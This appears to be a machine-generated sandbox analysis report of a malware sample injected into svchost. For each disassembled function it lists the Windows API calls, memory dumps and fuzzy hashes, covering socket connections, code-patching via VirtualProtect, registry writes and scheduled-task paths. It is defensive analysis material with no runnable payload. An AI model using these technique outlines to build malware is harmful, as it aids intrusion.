                                                                                                                                                                                                            • Instruction ID: 13bc69ca2e1cca2bceb11d2987a93fe023795fb15a1a52e79c36336edc921716
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 7491ee411e79634145fbb9a02be6b3877a92ea60d5590cec5318a6466e11c48b
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E331EAB5D41219AFDB40DFA9E981AEEBBB9EF48314F51812AE914A3340D3749D408BA0
                                                                                                                                                                                                            Function 02D05900 Relevance: 10.6, APIs: 7, Instructions: 97synchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D05918
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_000250A0,?,0000001C), ref: 02D05949
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_000250A0,?,0000001C), ref: 02D05975
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_000250A0,?,0000001C), ref: 02D0599C
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(0000030C,000003E8), ref: 02D059CD
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(0000030C), ref: 02D059EE
                                                                                                                                                                                                            • SetLastError.KERNEL32(?), ref: 02D059F8
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: QueryVirtual$ErrorLast$MutexObjectReleaseSingleWait
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2971961948-0
                                                                                                                                                                                                            • Opcode ID: 98ac9879f08598d88f40d1369df865b19ab8eb66f04690c6c00b6077698eeb00
                                                                                                                                                                                                            • Instruction ID: 7bc19878ffd5a9f4dcced8e4dc15d878a6c9a12e7037b8800b0c30847bf69dc1
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 98ac9879f08598d88f40d1369df865b19ab8eb66f04690c6c00b6077698eeb00
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6231E5B5E40218EFDB40CFA9E984AADBBF5FB48310F90456AE908E7340E7705D158F90
                                                                                                                                                                                                            Function 02D0B930 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 92stringCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_000250A0,?,0000001C), ref: 02D0B96F
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_000250A0,?,0000001C), ref: 02D0B99B
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_000250A0,?,0000001C), ref: 02D0B9C2
                                                                                                                                                                                                            • GetUserObjectInformationA.USER32(?,00000002,?,00000100,?), ref: 02D0B9F1
                                                                                                                                                                                                            • lstrcmpiA.KERNEL32(?,a3b7feb4a), ref: 02D0BA07
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: QueryVirtual$InformationObjectUserlstrcmpi
                                                                                                                                                                                                            • String ID: a3b7feb4a
                                                                                                                                                                                                            • API String ID: 410342393-1933805477
                                                                                                                                                                                                            • Opcode ID: 9c6dd4e08bf84d873849e630e5298b54a6b4881a706294fc9dbcae0edc027c13
                                                                                                                                                                                                            • Instruction ID: 23ee815300c867473b70cb0cae6f3d2ef5d6915a707d52578a99af4c646a3c09
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 9c6dd4e08bf84d873849e630e5298b54a6b4881a706294fc9dbcae0edc027c13
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 2031DBB1E4121DAFDB40CFA9E885AEEBBF4FB48304F50846AE518E7240E7755A45CF90
                                                                                                                                                                                                            Function 02D1A2B0 Relevance: 10.6, APIs: 7, Instructions: 72memorysynchronizationsleepCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(?,000003E8), ref: 02D1A2CB
                                                                                                                                                                                                            • VirtualProtect.KERNEL32(?,00000018,00000040,?), ref: 02D1A318
                                                                                                                                                                                                            • GetCurrentProcess.KERNEL32(00000000,00000000), ref: 02D1A347
                                                                                                                                                                                                            • FlushInstructionCache.KERNEL32(00000000), ref: 02D1A34E
                                                                                                                                                                                                            • VirtualProtect.KERNEL32(?,00000018,?,?), ref: 02D1A362
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(?), ref: 02D1A379
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02D1A381
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ProtectVirtual$CacheCurrentFlushInstructionMutexObjectProcessReleaseSingleSleepWait
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 842647815-0
                                                                                                                                                                                                            • Opcode ID: 4c6190af1a1c6820b485a2df1bbd001d5d25a90ad75fb6553b4fa8a87e13603b
                                                                                                                                                                                                            • Instruction ID: ec214fefa928b6442478ae29f8668b86ab086ff88c1c6b372190b156df776dba
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 4c6190af1a1c6820b485a2df1bbd001d5d25a90ad75fb6553b4fa8a87e13603b
                                                                                                                                                                                                            • Instruction Fuzzy Hash: C421F879A40601EFD718CF54E984F5AB7A5FB58700F118918EA4A5BB90CB70FD54CB90
                                                                                                                                                                                                            Function 02D30E50 Relevance: 10.6, APIs: 7, Instructions: 67networkCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • htons.WS2_32(?), ref: 02D30E74
                                                                                                                                                                                                            • inet_addr.WS2_32(?), ref: 02D30E7F
                                                                                                                                                                                                            • htonl.WS2_32(000000FF), ref: 02D30E8A
                                                                                                                                                                                                            • gethostbyname.WS2_32(?), ref: 02D30E96
                                                                                                                                                                                                            • socket.WS2_32(00000002,00000001,00000000), ref: 02D30EB0
                                                                                                                                                                                                            • connect.WS2_32(00000000,?,00000010), ref: 02D30EC3
                                                                                                                                                                                                            • closesocket.WS2_32(00000000), ref: 02D30ECE
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: closesocketconnectgethostbynamehtonlhtonsinet_addrsocket
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 298246419-0
                                                                                                                                                                                                            • Opcode ID: c518ca5fe24f9eeda070798196f1e8210076d9bcb2babbbba3ff060da90354e4
                                                                                                                                                                                                            • Instruction ID: 88255eacbeb3ff9993c2477fc3707292571741adbc508f6295f560e3a4f15e06
                                                                                                                                                                                                            • Opcode Fuzzy Hash: c518ca5fe24f9eeda070798196f1e8210076d9bcb2babbbba3ff060da90354e4
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 7711AF35B10208AFDB00DFA8EC44BAAB7FAFF54321F804669FA15A7390D7709C108B90
                                                                                                                                                                                                            Function 02D0D6C0 Relevance: 10.6, APIs: 7, Instructions: 53synchronizationthreadwindowCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D0D690,00000000,00000000,00000000), ref: 02D0D6D4
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000,?,?,02D09B2A,?,?,?,?,02D09CF9,00000000,?,?,?,?,02D091A0), ref: 02D0D6EC
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000,?,?,02D09B2A,?,?,?,?,02D09CF9,00000000,?,?,?,?,02D091A0,?), ref: 02D0D6FD
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,02D09B2A,?,?,?,?,02D09CF9,00000000,?,?,?,?,02D091A0), ref: 02D0D70C
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D0D740
                                                                                                                                                                                                            • IsWindow.USER32(?), ref: 02D0D747
                                                                                                                                                                                                            • PostMessageA.USER32(?,00000215,00000000,00000000), ref: 02D0D75B
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$CloseCreateInformationMessageMutexObjectPostReleaseSingleThreadWaitWindow
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 731183410-0
                                                                                                                                                                                                            • Opcode ID: 0901c4bd468298381220f237cae45f43975cdbaa77ac0c7e7c08fdb2196ac5a4
                                                                                                                                                                                                            • Instruction ID: abce0a46a911d3933a7ea2559cd8e9ab9f8532696a26711ac45cfaeb0b707b63
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 0901c4bd468298381220f237cae45f43975cdbaa77ac0c7e7c08fdb2196ac5a4
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6F11A134A81314ABE3109FA0EC8DF9A7BE8EF15714F644695F906AB3D0D7B06D10CB94
                                                                                                                                                                                                            Function 00403310 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetVersionExA.KERNEL32(?,\\?\globalroot\systemroot\system32\tasks\), ref: 00403337
                                                                                                                                                                                                            • GetCurrentProcess.KERNEL32(00000008,00000000), ref: 00403359
                                                                                                                                                                                                            • OpenProcessToken.ADVAPI32(00000000), ref: 00403360
                                                                                                                                                                                                            • GetTokenInformation.ADVAPI32(00000000,00000012(TokenIntegrityLevel),?,00000004,?), ref: 00403381
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 00403397
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • \\?\globalroot\systemroot\system32\tasks\, xrefs: 00403319
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3269898642.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ProcessToken$CloseCurrentHandleInformationOpenVersion
                                                                                                                                                                                                            • String ID: \\?\globalroot\systemroot\system32\tasks\
                                                                                                                                                                                                            • API String ID: 4133869067-1576788796
                                                                                                                                                                                                            • Opcode ID: 76f7c13d41ba4f40b5ff24f9cac2bfcc18b58a5216b2a1f5173a808488ca33cd
                                                                                                                                                                                                            • Instruction ID: 49b559ea0f9bb78937d1c0884117093763843d0ff56e3b8f35a0dc65749093db
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 76f7c13d41ba4f40b5ff24f9cac2bfcc18b58a5216b2a1f5173a808488ca33cd
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E60165B5A00208EBEB20DFA4DD4DB9F7B7CAB44715F0080A6EA05B2280DA749B44DF64
                                                                                                                                                                                                            Function 02D0C2A0 Relevance: 10.5, APIs: 7, Instructions: 47windowsleepthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsWindowVisible.USER32(?), ref: 02D0C2A8
                                                                                                                                                                                                            • GetWindowThreadProcessId.USER32(?,?), ref: 02D0C2B7
                                                                                                                                                                                                            • Sleep.KERNEL32(00000000), ref: 02D0C30F
                                                                                                                                                                                                              • Part of subcall function 02D0C220: GetWindowInfo.USER32(?,?), ref: 02D0C254
                                                                                                                                                                                                              • Part of subcall function 02D0C220: SetWindowLongA.USER32(?,000000EC,?), ref: 02D0C276
                                                                                                                                                                                                              • Part of subcall function 02D0C220: SetLayeredWindowAttributes.USER32(?,0000FFFF,000000FF,00000002), ref: 02D0C289
                                                                                                                                                                                                            • GetClassLongA.USER32(?,000000E6), ref: 02D0C2D0
                                                                                                                                                                                                            • SetClassLongA.USER32(?,000000E6,00000000), ref: 02D0C2E3
                                                                                                                                                                                                            • SendMessageA.USER32(?,000000D2,00000000,00000000), ref: 02D0C2FA
                                                                                                                                                                                                            • SendMessageA.USER32(?,000000CC,00000000,00000000), ref: 02D0C30A
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Window$Long$ClassMessageSend$AttributesInfoLayeredProcessSleepThreadVisible
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 923153955-0
                                                                                                                                                                                                            • Opcode ID: 8a4e1a57af4894dab8ecb9acb91a97bd7568ac25665409c07bcfdeaa0daec1c0
                                                                                                                                                                                                            • Instruction ID: 85d7cbce4ad7c1d831187923f205fd4c53ec4e4bb4c3085a62bc429a665c4d23
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 8a4e1a57af4894dab8ecb9acb91a97bd7568ac25665409c07bcfdeaa0daec1c0
                                                                                                                                                                                                            • Instruction Fuzzy Hash: AA01F9366902147BE6206F64FC49FDE379C9F56B65F900302F604BA3D0C7946D11CAB9
                                                                                                                                                                                                            Function 02D193A0 Relevance: 10.5, APIs: 7, Instructions: 43networkthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • shutdown.WS2_32(?,00000001), ref: 02D193BB
                                                                                                                                                                                                            • shutdown.WS2_32(02D1949C,00000001), ref: 02D193C0
                                                                                                                                                                                                            • recv.WS2_32(02D1949C,?,00000400,00000000), ref: 02D193DF
                                                                                                                                                                                                            • recv.WS2_32(?,?,00000400,00000000), ref: 02D193F5
                                                                                                                                                                                                            • closesocket.WS2_32(?), ref: 02D19409
                                                                                                                                                                                                            • closesocket.WS2_32(02D1949C), ref: 02D1940C
                                                                                                                                                                                                            • ExitThread.KERNEL32 ref: 02D19410
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: closesocketrecvshutdown$ExitThread
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1638183600-0
                                                                                                                                                                                                            • Opcode ID: 7cce69c3dfcb08b5b1dfe87c12a1f9f9fe850de5e818c0491ce3890d0c381d25
                                                                                                                                                                                                            • Instruction ID: b2a4eef1a593f50bd8bd9e299030f2617325e20d0b9a963606cf90f6f8f5e4b9
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 7cce69c3dfcb08b5b1dfe87c12a1f9f9fe850de5e818c0491ce3890d0c381d25
                                                                                                                                                                                                            • Instruction Fuzzy Hash: C1F044B69503187BD7209E65DC95FAB3BADAB48B50F444444BB09BB2C0D6B4FD01CEE4
                                                                                                                                                                                                            Function 02D03A70 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 35registryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(80000001,software\microsoft,00000000,00000102,?,?,?,02D03BDC,?), ref: 02D03A90
                                                                                                                                                                                                            • RegSetValueExA.ADVAPI32(00000000,a3b7fb2ea,00000000,00000004,?,00000004,?,?,02D03BDC,?), ref: 02D03AAC
                                                                                                                                                                                                            • RegFlushKey.ADVAPI32(00000000,?,?,02D03BDC,?), ref: 02D03ABA
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(00000000,?,?,02D03BDC,?), ref: 02D03AC8
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CloseFlushOpenValue
                                                                                                                                                                                                            • String ID: a3b7fb2ea$software\microsoft
                                                                                                                                                                                                            • API String ID: 2510291871-2833742656
                                                                                                                                                                                                            • Opcode ID: b3b7051774e93355194c8ccabb8aef652d639f2c4c4d5a963d51b70895157395
                                                                                                                                                                                                            • Instruction ID: 156a2f5042945126dbe999412144163cc2a232c4d598cacaa49c538d9995a46c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: b3b7051774e93355194c8ccabb8aef652d639f2c4c4d5a963d51b70895157395
                                                                                                                                                                                                            • Instruction Fuzzy Hash: EDF01DB9A50208FBEB10CEA1ED49FAE77ACAB14705F604454FA01A6380D6B1EE14D6A0
                                                                                                                                                                                                            Function 00401600 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 23libraryloaderCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 0040160B
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(ntdll.dll,?,004029E2,00000000), ref: 0040161C
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 0040162C
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3269898642.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AddressCountHandleModuleProcTick
                                                                                                                                                                                                            • String ID: RtlUniform$ntdll.dll$)@
                                                                                                                                                                                                            • API String ID: 1545651562-3472953331
                                                                                                                                                                                                            • Opcode ID: d7d83ff0900f622d049b5be12cc15580f74a08d0b5689ce42f4a0c39a4c223af
                                                                                                                                                                                                            • Instruction ID: a861cb93b7f16bf3c872219f5ba967f96d5ad720afefe63f3816ea97d3f010e1
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d7d83ff0900f622d049b5be12cc15580f74a08d0b5689ce42f4a0c39a4c223af
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 89E01AB0600310DBEB009FB2AD09A563699AA94B113448836A709F21E2DA3CD810CA6D
                                                                                                                                                                                                            Function 02D291D0 Relevance: 10.1, APIs: 8, Instructions: 95memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,00000000,?,00000000,00000000,00000000), ref: 02D29236
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D2923D
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02D2924A
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D29251
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,00000000,?,00000000,00000000,00000000), ref: 02D29260
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D29263
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02D29270
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D29273
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$FreeValidate
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1670920773-0
                                                                                                                                                                                                            • Opcode ID: 282c9f9a5f8f5157bd40996ac381346e007457e3019a42d990a7b1cf44fd4272
                                                                                                                                                                                                            • Instruction ID: 8e5eb06db8b06f41a4355495b859c016760e846ea45f03d6ba4fc29beb491085
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 282c9f9a5f8f5157bd40996ac381346e007457e3019a42d990a7b1cf44fd4272
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F931EB35900314ABDB20DFA5D848BDB7BA9EF95318F548549ED05A7341C730DD54CBA0
                                                                                                                                                                                                            Function 02D293D0 Relevance: 10.1, APIs: 8, Instructions: 56COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 9aa4c55354c27217b82496c46681aec1e0351a4c3f482cbc434c2da311e81b48
                                                                                                                                                                                                            • Instruction ID: 05e4d9adfa9a8b0c548a677e6f70e85d5236746a7871e1f51bf85a4f10f29e8f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 9aa4c55354c27217b82496c46681aec1e0351a4c3f482cbc434c2da311e81b48
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 45019E76A853246BD7606FE9BC88F9B7B9CEFA1759F604422F60887340C6749C14CAB1
                                                                                                                                                                                                            Function 02D2E22A Relevance: 9.1, APIs: 6, Instructions: 141fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • free.MSVCRT(00000000,?,00000004,?,00000000,00000000), ref: 02D2E0CF
                                                                                                                                                                                                            • MoveFileA.KERNEL32(?,?), ref: 02D2E2BD
                                                                                                                                                                                                            • GetFileAttributesA.KERNEL32(?), ref: 02D2E301
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02D2E373
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$AttributesCreateDirectoryMovefree
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1026147201-0
                                                                                                                                                                                                            • Opcode ID: 4004118e903fdadca49e94681bcd9136e6048a6b50fb9b0dbd257f852616d431
                                                                                                                                                                                                            • Instruction ID: 7c318f7eb8ad0e9abcce24f91684f5afc3dcf3a754c1b8b1a8e43e4ecf860584
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 4004118e903fdadca49e94681bcd9136e6048a6b50fb9b0dbd257f852616d431
                                                                                                                                                                                                            • Instruction Fuzzy Hash: D24156349043798FCB218E789884BEA7FE59F36309F148999E5C287341D731AD0ECBA0
                                                                                                                                                                                                            Function 02D28610 Relevance: 9.1, APIs: 6, Instructions: 108fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,?,00000000), ref: 02D28654
                                                                                                                                                                                                            • MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,?,?,02D28F97), ref: 02D2866E
                                                                                                                                                                                                            • memcpy.MSVCRT ref: 02D28696
                                                                                                                                                                                                            • UnmapViewOfFile.KERNEL32(?,?,?,?,?,02D28F97), ref: 02D286A2
                                                                                                                                                                                                              • Part of subcall function 02D25580: GetHandleInformation.KERNEL32(00000000,00000000,?,?,02D25295,02D213E0,00000000), ref: 02D25594
                                                                                                                                                                                                              • Part of subcall function 02D25580: CloseHandle.KERNEL32(00000000,?,?,02D25295,02D213E0,00000000), ref: 02D255A5
                                                                                                                                                                                                            • memcpy.MSVCRT ref: 02D286CE
